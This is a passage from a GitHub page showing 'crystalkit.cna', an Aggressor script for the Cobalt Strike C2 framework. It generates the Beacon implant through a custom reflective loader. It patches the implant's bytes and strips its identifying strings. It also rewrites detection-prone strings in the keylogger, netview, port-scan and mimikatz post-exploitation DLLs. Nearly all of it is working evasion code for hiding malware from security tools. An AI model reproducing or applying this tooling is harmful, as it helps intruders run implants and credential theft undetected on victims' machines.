forked from rasta-mouse/Crystal-Kit
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcrystalkit.cna
More file actions
1220 lines (1167 loc) · 124 KB
/
crystalkit.cna
File metadata and controls
1220 lines (1167 loc) · 124 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
debug ( 7 );
import crystalpalace.spec.* from: crystalpalace.jar;
import java.util.HashMap;
sub print_info {
println ( formatDate ( "[HH:mm:ss] " ) . "\cE[Crystal Kit]\o " . $1 );
}
# ------------------------------------------------------------------
# A wrapper around strrep to pad the new string before replacing it.
# $1 = input dll
# $2 = original string
# $3 = new string
# return = the modified byte sequence
# ------------------------------------------------------------------
sub strrep_pad
{
local ( '$input_dll $original_byte_sequence $new_byte_sequence $original_byte_sequence_length $new_byte_sequence_length $difference $padding $new_byte_sequence_padded' );
$input_dll = $1;
$original_byte_sequence = $2;
$new_byte_sequence = $3;
$original_byte_sequence_length = strlen ( $original_byte_sequence );
$new_byte_sequence_length = strlen ( $new_byte_sequence );
if ( $new_byte_sequence_length > $original_byte_sequence_length )
{
warn ("Input string is too large");
return $null;
}
$difference = $original_byte_sequence_length - $new_byte_sequence_length;
if ( $difference != 0 )
{
$padding = "\x00" x $difference;
$new_byte_sequence_padded = $new_byte_sequence . $padding;
}
else
{
$new_byte_sequence_padded = $new_byte_sequence;
}
return strrep ( $input_dll, $original_byte_sequence, $new_byte_sequence_padded );
}
sub strrep_pad_postex
{
local ( '$input_dll $dll_name $target_name $original_byte_sequence $new_byte_sequence $original_byte_sequence_length $new_byte_sequence_length $difference $padding $new_byte_sequence_padded' );
$input_dll = $1;
$dll_name = $2;
$target_name = $3;
$original_byte_sequence = $4;
$new_byte_sequence = $5;
if ( $dll_name eq $target_name)
{
$original_byte_sequence_length = strlen ( $original_byte_sequence );
$new_byte_sequence_length = strlen ( $new_byte_sequence );
if ( $new_byte_sequence_length > $original_byte_sequence_length )
{
warn ("Input string is too large");
return $null;
}
$difference = $original_byte_sequence_length - $new_byte_sequence_length;
if ( $difference != 0 )
{
$padding = "\x00" x $difference;
$new_byte_sequence_padded = $new_byte_sequence . $padding;
}
else
{
$new_byte_sequence_padded = $new_byte_sequence;
}
return strrep ( $input_dll, $original_byte_sequence, $new_byte_sequence_padded );
}
else
{
return $input_dll;
}
}
set BEACON_RDLL_GENERATE
{
local ( '$beacon $arch $spec_path $spec $final' );
$beacon = $2;
$arch = $3;
if ( $arch eq "x86" )
{
warn ( "Crystal Kit is x64 only" );
return $null;
}
print_info ( "BEACON_RDLL_GENERATE" );
$beacon = strrep_pad ( $beacon, "beacon.x64.dll", "" );
$beacon = strrep_pad ( $beacon, "%02d/%02d/%02d", "%02d/%02d/%04d" );
$beacon = strrep_pad ( $beacon, "%s as %s\%s: %d", "%s - %s\%s (%d)" );
$beacon = strrep_pad ( $beacon, "\x48\x89\x5C\x24\x08\x57\x48\x83\xEC\x20\x48\x8B\x59\x10\x48\x8B\xF9\x48\x8B\x49\x08\xFF\x17\x33\xD2\x41\xB8\x00\x80\x00\x00", "\x48\x89\x5C\x24\x08\x57\x48\x83\xEC\x20\x48\x8B\x59\x10\x48\x8B\xF9\x48\x8B\x49\x08\xFF\x17\x33\xD2\x41\xB8\x01\x80\x00\x00" );
$beacon = strrep_pad ( $beacon, "Argument domain error (DOMAIN)", "");
$beacon = strrep_pad ( $beacon, "Argument singularity (SIGN)", "");
$beacon = strrep_pad ( $beacon, "Overflow range error (OVERFLOW)", "");
$beacon = strrep_pad ( $beacon, "Partial loss of significance (PLOSS)", "");
$beacon = strrep_pad ( $beacon, "Total loss of significance (TLOSS)", "");
$beacon = strrep_pad ( $beacon, "The result is too small to be represented (UNDERFLOW)", "");
$beacon = strrep_pad ( $beacon, "Unknown error", "");
$beacon = strrep_pad ( $beacon, "_matherr(): %s in %s(%g, %g)", "");
$beacon = strrep_pad ( $beacon, "(retval=%g)", "");
$beacon = strrep_pad ( $beacon, "Mingw-w64 runtime failure:", "");
$beacon = strrep_pad ( $beacon, "Address %p has no image-section", "");
$beacon = strrep_pad ( $beacon, "VirtualQuery failed for %d bytes at address %p", "");
$beacon = strrep_pad ( $beacon, "VirtualProtect failed with code 0x%x", "");
$beacon = strrep_pad ( $beacon, "Unknown pseudo relocation protocol version %d.", "");
$beacon = strrep_pad ( $beacon, "Unknown pseudo relocation bit size %d.", "");
$spec_path = getFileProper ( script_resource ( "loader" ), "loader.spec" );
$spec = [ LinkSpec Parse: $spec_path ];
$final = [ $spec run: $beacon, [ new HashMap ] ];
if ( strlen ( $final ) == 0 )
{
warn ( "Failed to build payload" );
return $null;
}
return $final;
}
set BEACON_RDLL_SIZE {
return "0";
}
set BEACON_RDLL_GENERATE_LOCAL
{
print_info ( "LOCAL BUILD" );
local ( '$beacon $arch $gmh $gpa $spec_path $spec $hash_map $final' );
$beacon = $2;
$arch = $3;
$gmh = $5;
$gpa = $6;
if ( $arch eq "x86" )
{
warn ( "Crystal Kit is x64 only" );
return $null;
}
print_info ( "BEACON_RDLL_GENERATE_LOCAL" );
$spec_path = getFileProper ( script_resource ( "local-loader" ), "loader.spec" );
$spec = [ LinkSpec Parse: $spec_path ];
$hash_map = [ new HashMap ];
[ $hash_map put: "\$GMH", cast ( $gmh, 'b' ) ];
[ $hash_map put: "\$GPA", cast ( $gpa, 'b' ) ];
$final = [ $spec run: $beacon, $hash_map ];
if ( strlen ( $final ) == 0 )
{
warn ( "Failed to build payload" );
return $null;
}
return $final;
}
set POSTEX_RDLL_GENERATE
{
print_info ( "POSTEX BUILD" );
local ( '$dll $postex $arch $gmh $gpa $spec_path $spec $hash_map $final' );
$dll = $1;
$postex = $2;
$arch = $3;
$gmh = $5;
$gpa = $6;
if ( $arch eq "x86" )
{
warn ( "Crystal Kit is x64 only" );
return $null;
}
print_info ( "POSTEX_RDLL_GENERATE" );
# replace the strings in the port scanner dll
$postex = strrep_pad_postex ( $postex, $dll, "resources/portscan.x64.dll", "Scanner module is complete", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/portscan.x64.dll", "(ICMP) Target", "pmci trg=");
$postex = strrep_pad_postex ( $postex, $dll, "resources/portscan.x64.dll", "is alive.", "is up.");
$postex = strrep_pad_postex ( $postex, $dll, "resources/portscan.x64.dll", "(ARP) Target", "rpa trg=");
$postex = strrep_pad_postex ( $postex, $dll, "resources/portscan.x64.dll", "[read %d bytes]", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/portscan.x64.dll", "[-] Error: Failed to initialise WinSock. Winsock error code", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/portscan.x64.dll", ". Exteneded error code", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/portscan.x64.dll", "platform:", "pltfm=");
$postex = strrep_pad_postex ( $postex, $dll, "resources/portscan.x64.dll", "version:", "vrs=");
$postex = strrep_pad_postex ( $postex, $dll, "resources/portscan.x64.dll", "name:", "name=");
$postex = strrep_pad_postex ( $postex, $dll, "resources/portscan.x64.dll", "domain:", "dmn=");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "=======", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[backspace]", "<bckspc>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[tab]", "<tb>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[clear]", "<clr>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[shift]", "<alt>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[control]", "<ctrl>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[alt]", "<alt>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[pause]", "<pause>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[caps lock]", "<cpslck>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[escape]", "<esc>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[page up]", "<pgup>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[page down]", "<pgdwn>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[end]", "<end>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[home]", "<home>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[left]", "<left>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[up]", "<^>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[right]", "<right>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[down]", "<dwn>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[prtscr]", "<prtsc>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[insert]", "<insert>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[delete]", "<dlt>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[help]", "<help>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[command]", "<cmd>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[menu]", "<menu>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F1]", "f1");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F2]", "f2");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F3]", "f3");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F4]", "f4");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F5]", "f5");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F6]", "f6");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F7]", "f7");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F8]", "f8");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F9]", "f9");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F10]", "f10");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F11]", "f11");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F12]", "f12");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F13]", "f13");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F14]", "f14");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F15]", "f15");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F16]", "f16");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F17]", "f17");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F18]", "f18");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F19]", "f19");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F20]", "f20");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F21]", "f21");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F22]", "f22");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F23]", "f23");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[F24]", "f24");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[numlock]", "<numlck>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[scroll lock]", "<scrllock>");
$postex = strrep_pad_postex ( $postex, $dll, "resources/keylogger.x64.dll", "[ctrl]", "ctrl");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "[-] Error:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "IP Address", "ipaddr");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Server Name", "srv");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Server Name", "srv");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "-----------", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "----------", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "---------", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "--------", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "-------", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "----", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Domain Controllers", "DC");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Domain Computers", "PC");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Comment", "Desc");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Name", "name");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "computers", "pc");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "localhost", "local");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Computers:", "PC:");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Computers in domain", "PC domain");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "dclist", "dc");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "DCs", "dcs");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "DCs in domain", "dsc domain");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Domain Controllers:", "dc:");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Domain Controllers in domain", "dc domain");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "List of domain trusts:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "group", "grp");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Members of", "mbmrs of");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Groups:", "grps:");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Groups for", "grps for");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "localgroup", "lclgrp");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Local groups for", "lcl grps for");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "logons", "lgns");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Logged on users at", "lggon usrs at");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "sessions", "sess");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Sessions for", "sess for");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "share", "shre");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Shares at", "shres at");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Users for", "usrs for");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "user", "usr");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Account information for", "acc info for");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "List of hosts:", "hostlist:");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "List of hosts for domain", "hostlist domain");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Idle (s)", "sleeping");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Active (s)", "alive");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "User name", "usrname");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Computer", "pc");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Share name", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Current time at", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "(Forest tree root)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "(Forest", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "(Primary Domain)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "(Direct Outbound)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "(Direct Inbound)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "(Native)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Full Name", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "User's Comment", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Country code", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Account active", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Yes", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Never", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Account expires", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Admin", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Account type", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Guest", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "User", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Password last set", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "hours ago", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Password expires", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Password changeable", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Password required", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "User may change password", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Workstations allowed", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Logon script", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "User profile", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Home directory", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Last logon", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "(admin)", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "unknown", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Type", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Version", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "Platform", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "PDC", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/netview.x64.dll", "BDC", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "OK !", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "data copy @", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_enum_kerberos_callback_pth ; kull_m_memory_copy (0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "\\_", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Ticket Granting Ticket", "tigranti");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Client Ticket", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Ticket Granting Service", "tigranse");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Cachedir:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_sk_tryDecode ; SkpEncryptionWorker(decrypt):", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "-- invalidating the key", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_sk_candidatekey_add ; No key?", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Encrypted:", "enc:");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "unkData2 :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* unkData1 :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "AuthData :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Tag :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "KdfContext:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* LSA Isolated Data:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* RootKey :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_trymarshal ; CredUnmarshalCredential (0x", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[?] ?", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[UsernameForPacked] ?", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[BinaryBlob]", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[UsernameTarget]", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_trymarshal ; Credential->cbSize is", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "[Cert] SHA1:", "1ahs");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* Marshaled:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "LUID KO", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* Password:", "pwd");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* Domain :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* Username :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_genericCredsOutput ; Unknown version in Kerberos credentials structure", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "<no size, buffer is incorrect>", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* Key :", "yek:");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Provider :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Container:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Reader :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "Card :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "PIN code :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* Smartcard", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "(sha1:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "DPAPI Key:", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "PRT :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* Raw data :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* DPAPI :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "ERROR kuhl_m_sekurlsa_genericCredsOutput ; Size error for NtlmHash LsaIso output", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* SHA1 :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* LM :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* NTLM :", "mltn:");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* NTLM :", "mtln:");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* LM :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* Domain :", "");
$postex = strrep_pad_postex ( $postex, $dll, "resources/mimikatz-full.x64.dll", "* Username :", "");
